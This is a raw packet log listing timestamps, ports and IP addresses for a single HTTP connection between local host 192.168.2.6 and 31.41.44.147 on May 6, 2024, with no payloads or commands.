May 6, 2024 02:53:00.262974024 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262984991 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262996912 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262996912 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263010025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263024092 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263030052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263036966 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263051033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263062954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263068914 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263076067 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263087034 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263091087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263119936 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263123035 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263130903 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263139009 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263160944 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263190031 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263190985 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263204098 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263216972 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263231039 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263231993 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263245106 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263252020 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263257980 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.263279915 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.263308048 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.277515888 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.277576923 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.277642012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.277712107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.277889967 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.277904034 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.277930975 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.277968884 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.278521061 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.278599977 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.278661013 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.278707027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.352675915 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.352742910 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.365255117 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.365386963 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.365462065 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.365556955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.365570068 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.365653038 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.365803957 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.365856886 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.449713945 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.449796915 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.449950933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.449964046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.449975014 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.449986935 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.449999094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450009108 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450009108 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450011015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450026989 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450026989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450042009 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450061083 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450073004 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450074911 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450088024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450100899 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450103045 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450103045 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450114012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450128078 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450140953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450148106 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450148106 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450156927 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450198889 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450198889 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.450952053 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.450989008 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.451112986 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.451157093 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.451332092 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.451366901 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.491993904 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.492007017 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.492080927 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.492130041 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.492144108 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.492182016 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.492223024 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.492259979 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.492327929 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.493062019 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.493074894 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.493108988 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.493128061 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.504301071 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.504313946 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.504367113 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.504367113 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.521456003 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.521572113 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.533693075 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.533777952 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.533782005 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.533838034 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.533869028 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.533926964 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.534357071 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.534420967 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.534836054 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.534903049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.534955025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.535007954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.537288904 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.537358046 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.546190023 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.546247005 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.546266079 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.546320915 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.546353102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.546411991 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.575890064 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.575920105 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.576013088 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.576226950 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.576291084 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.576457977 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.576533079 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.577053070 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.577092886 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.577337027 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.577351093 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.577382088 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.577404022 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.591413975 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.591427088 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.591471910 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.591471910 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.612368107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.612410069 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.618170023 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.618182898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.618216991 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.618236065 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.618586063 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.618643999 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.618786097 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.618818998 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.619165897 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.619242907 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.619455099 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.619492054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.624658108 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.624726057 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.633919954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.633986950 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.634016991 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.634068966 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.634095907 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.634134054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.660161972 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.660222054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.660300016 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.660355091 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.660815001 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.660828114 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.660875082 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.660875082 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.661313057 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.661362886 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.661427975 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.661468983 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.661473989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.661533117 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.676299095 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.676312923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.676381111 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.676381111 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.702410936 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.702424049 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.702783108 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.702822924 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.702822924 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.703069925 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.703139067 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.703735113 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.703747988 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.703769922 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.703793049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.703793049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.703807116 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.703943014 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.703991890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.709254980 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.709340096 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.719269991 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.719300985 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.719336033 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.719356060 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.719619036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.719679117 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.744594097 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.744646072 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.744657040 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.744699955 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.745022058 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.745069981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.745181084 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.745253086 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.746242046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.746294975 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.746402025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.746417046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.746462107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.746462107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.751693010 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.751770020 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.761559963 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.761594057 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.761667013 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.761866093 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.761878967 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.761976957 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.763922930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.763979912 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.786839962 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.786853075 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.786916971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.786952972 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.786998987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.787430048 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.787487984 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.787729025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.787820101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.788324118 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.788387060 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.788420916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.788479090 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.793333054 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.793391943 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.803581953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.803611040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.803661108 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.803674936 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.803833961 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.803849936 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.803878069 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.803915977 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.805927992 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.805979013 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.829020977 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.829034090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.829093933 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.829111099 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.829433918 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.829473972 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.829536915 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.829575062 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.830318928 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.830362082 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.830440998 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.830478907 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.835386992 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.835448027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.846328974 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.846359015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.846405983 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.846437931 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.846470118 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.846645117 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.846693039 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.851011992 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.851093054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.914841890 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.914941072 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.915146112 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.915213108 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.915301085 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.915313959 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.915326118 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.915359974 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.915404081 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.915616035 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.915663958 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.915760994 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.915802002 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.915824890 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.915838957 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.915863037 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.915885925 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.916018963 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.916033030 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.916064024 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.916080952 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.916197062 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.916209936 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.916244984 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.916260958 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.916347980 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.916394949 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.916857958 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.916906118 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.920368910 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.920429945 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.932470083 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.932540894 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.932650089 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.932703018 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.933031082 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.933088064 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.933197021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.933257103 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.936564922 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.936621904 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.956420898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.956475019 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.957093000 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.957139969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.957158089 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.957190037 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.962354898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.962398052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.974533081 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.974596024 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.974824905 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.974873066 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.975145102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.975157022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.975187063 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.975204945 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.979790926 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.979845047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.999270916 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.999284029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.999336958 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.000056982 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.000106096 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.000211000 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.000257015 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.004225016 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.004281998 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:01.016009092 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.016052008 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:01.016077042 CEST	49718	80	192.168.2.6	31.41.44.147
